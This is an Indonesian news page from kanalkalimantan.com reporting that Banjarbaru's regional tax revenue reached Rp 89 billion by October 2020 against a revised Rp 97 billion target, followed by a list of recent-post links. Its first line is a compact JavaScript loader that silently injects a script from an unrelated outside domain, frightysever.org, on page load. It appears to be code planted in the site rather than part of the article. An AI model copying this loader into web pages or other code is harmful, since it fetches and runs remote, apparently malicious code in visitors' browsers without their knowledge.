(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Banjarbaru

Pendapatan Pajak Daerah Sudah Rp 89 M, BP2RD Banjarbaru Yakin Target Rp 97 M Terpenuhi


KANALKALIMANTAN.COM, BANJARBARU – Situasi pandemi Covid-19 membuat pendapatan pajak daerah di Kota Banjarbaru sempat terpuruk, tepatnya pada Mei lalu. Meskipun kondisi itu mulai berangsur membaik, target pendapatan pajak daerah tetap mengalami penyusutan jika dibandingkan 2019 lalu.

Sekretaris Badan Pengelolaan Pajak dan Retribusi Daerah (BP2RD) Kota Banjarbaru Masrul mengungkapkan, jika dikomparasikan pendapatan pajak antara September 2019 dan September 2020, terjadi penurunan mencapai 17 miliar dengan persentase menembus 13,4 persen.

“Memang pendapatan pajak kita mulai naik. Tapi tetap saja jika dibandingkan periode 2019, sangat jauh turunnya,” kata Masrul, Selasa (13/10/2020) siang.

Selain pendapatan pajak per bulan, BP2RD Banjarbaru juga mencatat target pendapatan pajak daerah tahun ini tak akan seistimewa tahun lalu. Yang mana, pendapatan pajak Banjarbaru di tahun 2019 lalu, sukses melebihi target yang ditetapkan yakni Rp 142 miliar.

“Nah, untuk pendapatan pajak daerah kita di tahun 2020 ini, tak akan bisa menyentuh angka sebesar itu. Karena, dari kita sendiri sudah merevisi target tahun ini,” tambah Masrul.

BP2RD Banjarbaru sendiri harus berulang kali merevisi target pendapatan pajak tahun ini, setelah gelombang pandemi yang sangat berdampak pada sektor perpajakan. Dalam hal ini, target pendapatan pajak Kota Banjarbaru awalnya Rp 126 miliar diturunkan menjadi Rp 97 miliar.

Masrul memaparkan, hingga per 12 Oktober 2020, total pendapatan pajak yang telah terkumpul telah menyentuh nilai Rp 89 miliar. Melihat kondisi pajak yang mulai membaik, ia masih optimistis dapat mengejar, melebihi target Rp 97 miliar tersebut.

“Insyaallah kita selalu yakin dan optimistis. Karena sejauh ini, beberapa sektor pendapatan pajak kita sudah ada yang melewati target 100 persen, jadi dengan sisa waktu ini kita Insyaallah bisa mencapainya,” tegasnya.

Berdasarkan data, hampir seluruh sektor pajak terus mengalami kenaikan sejak pada pekan pertama di Oktober ini, dengan persentase diantar 100 persen. Seperti halnya, pajak air bawah tanah, pajak hotel, pajak hiburan, dan pajak reklame. (kanalkalimantan.com/rico)

Reporter : Rico
Editor : Bie

Al Ghifari

Recent Posts

Camat Lurah Boleh Jabat Sekretariat PPK PPS

KANALKALIMANTAN.COM, BANJARBARU - Camat dan Lurah diperbolehkan menjabat sebagai Sekretariat Panitia Pemungutan Kecamatan (PPK) maupun… Read More

8 jam ago

Sekretaris Nasdem Kalsel Melamar Golkar, Rozanie Sadar Cukup Posisi Calon Wagub

KANALKALIMANTAN.COM, BANJARMASIN - Pemilihan Kepala Daerah (Pilkada) serentak 2024, sejumlah tokoh mulai mencari dukungan partai… Read More

8 jam ago

Mesin Terbakar di Udara, Pesawat Jemaah Haji Kloter 5 Embarkasi Makassar Kembali Mendarat

KANALKALIMANTAN.COM, MAKASSAR - Momen mencekam mewarnai penerbangan 450 jemaah haji asal Sulawesi Selatan (Sulsel) terjadi,… Read More

9 jam ago

Meteran Air Leding PAM Bandarmasih Hilang, Biaya Pergantian Ditanggung Pelanggan

KANALAKALIMANTAN.COM, BANJARMASIN - Pelanggan air bersih Perusahan Air Minum (PAM) Bandarmasih Kota Banjarmasin Provinsi Kalimantan… Read More

9 jam ago

Layanan Posyandu Terintegrasi di Desa Manusup

KANALKALIMANTAN.COM, KUALA KAPUAS – Upaya memberikan pelayanan kesehatan dasar kepada masyarakat terus dilakukan Pos Pelayanan… Read More

9 jam ago

Kampung KB Guntung Manggis Masuk Enam Besar Nasional

KANALKALIMANTAN.COM, BANJARBARU - Dukungan segenap unsur pemerintahan mengantarkan Kampung Keluarga Berkualitas (KB) Kelurahan Guntung Manggis… Read More

10 jam ago

This website uses cookies.